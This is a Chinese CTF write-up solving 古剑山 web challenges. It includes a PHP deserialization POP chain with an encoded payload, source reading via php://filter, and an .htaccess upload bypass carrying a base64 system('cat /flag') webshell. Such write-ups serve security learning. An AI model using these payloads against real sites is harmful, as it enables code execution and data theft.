【古剑杯】

news2024/11/12 8:18:57

[古剑山]unse方法一

考点:php反序列化、php伪协议

解题步骤:

打开题目界面
在这里插入图片描述

直接访问当前目录的test.php,没有返回结果,看到include函数,可以结合php伪协议读取出test.php的源码

在这里插入图片描述

解密后

<?php  
    $test = "Hello world";

include "flag.php";


function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun { 
    private $a; 
    function __wakeup(){ 
        $temp = $this->a . 'ctf'; 
    } 
} 

class bfun { 
    private $items = array(); 
    public function __toString() { 
        $item = $this->items; 
        $str = $item['dd']->knife; 
        return 'what the good?'; 
    } 
} 

class cfun { 
    private $params = array(); 
    public function __get($key) {  
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp); 
    }
}
a

然后根据上面的php代码,我们进行构造pop链

<?php
class afun {
    private $a;

    function __construct($b){
        $this->a=$b;
    }
    function __wakeup(){
        $temp = $this->a . 'ctf';  //这里可以触发__toString()函数
    }
}

class bfun {
    private $items = array();
    function __construct($b){
        $this->items=$b;
    }
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}

class cfun {
    private $params = array();
    function __construct($b){
        $this->params=$b;
    }
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}

$c=new cfun(array('knife'=>'flag'));
$b=new bfun(array('dd'=>$c));
$a=new afun($b);
//$c=new cfun();
echo urlencode(serialize($a));

payload如下

O%3A4%3A%22afun%22%3A1%3A%7Bs%3A7%3A%22%00afun%00a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A11%3A%22%00bfun%00items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A12%3A%22%00cfun%00params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

执行即可获得flag

http://39.108.66.86:38076/?yourcode=O%3A4%3A%22afun%22%3A1%3A%7Bs%3A7%3A%22%00afun%00a%22%3BO%3A4%3A%22bfun%22%3A1%3A%7Bs%3A11%3A%22%00bfun%00items%22%3Ba%3A1%3A%7Bs%3A2%3A%22dd%22%3BO%3A4%3A%22cfun%22%3A1%3A%7Bs%3A12%3A%22%00cfun%00params%22%3Ba%3A1%3A%7Bs%3A5%3A%22knife%22%3Bs%3A4%3A%22flag%22%3B%7D%7D%7D%7D%7D

[古剑山]unse 方法二

考点:php反序列化、php伪协议

解题步骤:

index.php

<?php
    include("./test.php");
    if(isset($_GET['fun'])){
        if(justafun($_GET['fun'])){
            include($_GET['fun']);
        }
    }else{
        unserialize($_GET['yourcode']);
    }
    highlight_file(__FILE__);
?>

伪协议读test.php

<?php  
    $test = "Hello world";

include "flag.php";

function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}

class afun { 
    private $a; 
    function __wakeup(){ 
        echo 1;
        $temp = $this->a . 'ctf'; 
    } 
} 

class bfun { 
    private $items = array(); 
    public function __toString() { 
        echo 2;
        $item = $this->items; 
        $str = $item['dd']->knife; 
        return 'what the good?'; 
    } 
} 

class cfun { 
    private $params = array(); 
    public function __get($key) {  
        echo 3;
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp); 
    }
}

pop链读$flag

<?php  
class afun { 
    private $a; 
        function __construct($a){
            $this->a=$a;
        }
} 

class bfun { 
    private $items = array(); 
        function __construct($a){
            $this->items['dd']=$a;
        }
} 

class cfun { 
    private $params = array(); 
        function __construct(){
            $this->params['knife']='flag';
        }
}

$c=new cfun;
$b=new bfun($c);
$a=new afun($b);
echo urlencode(serialize($a));

?>

[古剑山]upload_2_shell

考点:文件上传.htaccess解析漏洞,exif_imagetype函数绕过

解题步骤:

参考:https://blog.csdn.net/m0_62879498/article/details/125122900

.htaccess在头部定义图片大小来绕过exif_imagetype函数(报错处有提示),然后过滤了<?也可以结合.htaccess base64编码绕过

#define width 1000
#define height 1000 
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=./1.png"

1.png(GIF89a后面要加个12才能成功,为了匹配base64解码不乱吗)

GIF89a12PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1490229.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1.2计算机体系结构与存储系统

1.计算机体系结构 计算机体系结构简单看看即可&#xff1b; CISC&#xff08;复杂指令集计算机&#xff09;和RISC&#xff08;精简指令集计算机&#xff09; 2.流水线技术 串行效率低&#xff0c;所以用到流水线技术&#xff0c;可以大大缩短执行时间&#xff1b; △t1、△…

docker-compose启动postgres数据库,实现主从备份

文章目录 1. 主库2. 从库3. 测试 1. 主库 创建pg-m 目录&#xff0c;并进入该目录创建docker-compose.yml文件&#xff0c;内容如下&#xff1a; version: "3.1" services:pg_master:image: postgres:15.3container_name: pg_masterenvironment:POSTGRES_PASSWORD:…

景区公园一体化设备怎么选

景区公园一体化设备的选型是一个关键的决策&#xff0c;直接影响着景区公园的整体运营效益和游客体验质量。在选择设备时&#xff0c;需要考虑多个因素&#xff0c;包括设备功能、可靠性、易用性、美观性以及与景区公园整体风格的匹配性等。 首先&#xff0c;在选择设备时要确保…

VScode+Live Service+Five Service实现php实时调试

VScodeLive ServiceFive Service实现php实时调试 一、VScode插件安装及配置 1.Code Runner settings.json设置&#xff08;打开方式&#xff1a;ctrlp&#xff0c;搜索settings.json&#xff09; 设置php为绝对路径&#xff08;注意路径分隔符为\\或/&#xff09; 2. Live S…

0101二阶与三阶行列式-行列式-线性代数

一 引例 求解二元一次方程组 { a 11 x 1 a 12 x 2 b 1 a 21 x 1 a 22 x 2 b 2 \begin{cases} a_{11}x_1a_{12}x_2b_1\\ a_{21}x_1a_{22}x_2b_2\\ \end{cases} {a11​x1​a12​x2​b1​a21​x1​a22​x2​b2​​ 解&#xff1a; 1 a 21 − 2 a 11 ⇒ x 2 a 11 b 2 − a…

苹果因在iOS音乐流媒体市场上的反向引导行为,在欧盟被罚款18.4亿欧元

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

cache基础

set index 是 cache line 在 way 中的序号。set index 通常直接简称为 index 。如果一个物理地址确定&#xff0c;那么其 index 就确定了&#xff0c;这个地址对应的数据缓存在哪个 set 中也就确定了。如上图所示&#xff0c; 物理地址的 bits[y-1:x] 决定了数据缓存在哪个set中…

【FastChat】用于训练、服务和评估大型语言模型的开放平台

FastChat 用于训练、服务和评估大型语言模型的开放平台。发布 Vicuna 和 Chatbot Arena 的存储库。 隆重推出 Vicuna&#xff0c;一款令人印象深刻的开源聊天机器人 GPT-4&#xff01; &#x1f680; 根据 GPT-4 的评估&#xff0c;Vicuna 达到了 ChatGPT/Bard 90%* 的质量&…

红帆OA 多处 SQL注入漏洞复现

0x01 产品简介 红帆iOffice.net从最早满足医院行政办公需求(传统OA),到目前融合了卫生主管部门的管理规范和众多行业特色应用,是目前唯一定位于解决医院综合业务管理的软件,是最符合医院行业特点的医院综合业务管理平台,是成功案例最多的医院综合业务管理软件。 0x02 漏…

JavaScript实现将输入框内容放大的效果

问题描述&#xff1a;利用DOM所学知识&#xff0c;实现在输入框内输入内容时&#xff0c;在输入框上方显示一个将文字放大的框&#xff0c;在不输入内容时&#xff0c;这个框是被隐藏的。 关键代码&#xff1a; <!DOCTYPE html> <html lang"en"><he…

手把手教你解析xml格式的word文档-附代码

1 背景 dom4j&#xff0c;Jdom&#xff0c;w3c dom解析xml文档时速度比较慢&#xff0c;因此选择自己写代码解析xml文档。 2 思路 首先&#xff0c;对xml文件进行分析&#xff0c;熟悉标签&#xff1b; 然后&#xff0c;切分文档为不同的块。我们要对文档中的书签进行替换&…

multiprocessing Event实现中断进程或程序

参考&#xff1a;https://www.cnblogs.com/MoKinLi/p/17931515.html import multiprocessing import timedef worker(event, value):while True:# 检查事件是否被设置if event.is_set():# 事件被设置&#xff0c;中断程序break# 模拟工作time.sleep(1)print(f"Working: {…

【云呐】固定资产管理系统包括哪些模块

固定资产管理是企业经营过程中非常重要的任务。为确保资产合理利用和资本增值&#xff0c;企业需建立完善的固定资产管理体系。本文将详细介绍固定资产管理系统的模块和结构&#xff0c;帮助企业更好地管理资产。 固定资产管理系统的模块 财产采购管理功能:该模块主要从事固定…

喜讯!聚铭网络实力入选「网安新兴赛道厂商速查指南」11大细分赛道

近日&#xff0c;国内首家专业聚焦网络安全商业市场研究分析和加速服务的机构——斯元商业咨询正式发布2024「网安新兴赛道厂商速查指南Emerging Technology Vendor Index」。 聚铭网络凭借在网络安全领域的深厚技术积累、丰富的行业应用经验和良好的客户口碑&#xff0c;成功…

湖人官方晒照:新援哈里-贾尔斯今日到队

直播吧指定地址&#xff1a;www.bdky.cn 3月5日讯 今日湖人官方晒照&#xff0c;球队新援哈里-贾尔斯已经到队&#xff01; 此前湖人用双向合同签下内线球员哈里-贾尔斯&#xff0c;本赛季他在篮网打了25场比赛&#xff0c;场均可以拿到3.4分1.6篮板。

Python web框架fastapi中间件的使用,CORS跨域详解

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; 所属专栏&#xff1a;Fastapi 景天的主页&#xff1a;景天科技苑 文章目录 fastapi中间件与CORS1、中间件1.创建中间件方法2.中间件里面添加响应头…

【LeetCode每日一题】【BFS模版与例题】【二维数组】130被围绕的区域 994 腐烂的橘子

前几天写过一篇BFS比较基础版的遍历 【LeetCode每日一题】【BFS模版与例题】863.二叉树中所有距离为 K 的结点 &#xff0c;可以先看一下再看本文 用 BFS 算法遍历二维数组 遍历二维矩阵&#xff1a;二维矩阵中的一个位置看做一个节点&#xff0c;这个节点的上下左右四个位置…

云桥通+企业分支机构:SDWAN组网为分支机构带来的革命性改变

云桥通曾服务过一家跨国公司D公司&#xff0c;其总部位于美国纽约&#xff0c;全球设有多个分支机构&#xff0c;包括英国伦敦、中国上海和巴西圣保罗。为了实现高效的数据通信和协作&#xff0c;D公司决定采用云桥通的SDWAN企业组网连接其全球分支机构&#xff0c;以下是详细的…

进入实验室1

with open(csv_filepath) as f:reader csv.reader(f)lst list(reader) lst.pop(0) 这段代码的作用是打开一个CSV文件(csv_filepath)&#xff0c; 然后使用csv模块的reader函数创建一个CSV文件的读取器。 接着将读取器转换为列表&#xff0c;并将其存储在变量lst中。 最后&…

【wpf】关于绑定的一点明悟

背景简介 软件功能为&#xff0c;读取一个文件夹下的所有子文件夹&#xff0c;每个文件夹对自动对应生成 一组 “按键四个勾选” 按键点击触发&#xff0c;可以发送与其对应文件夹中的一些内容。这个绑定的过程我在之前的文章有过详细的介绍&#xff0c;非常的简单。 这里回顾…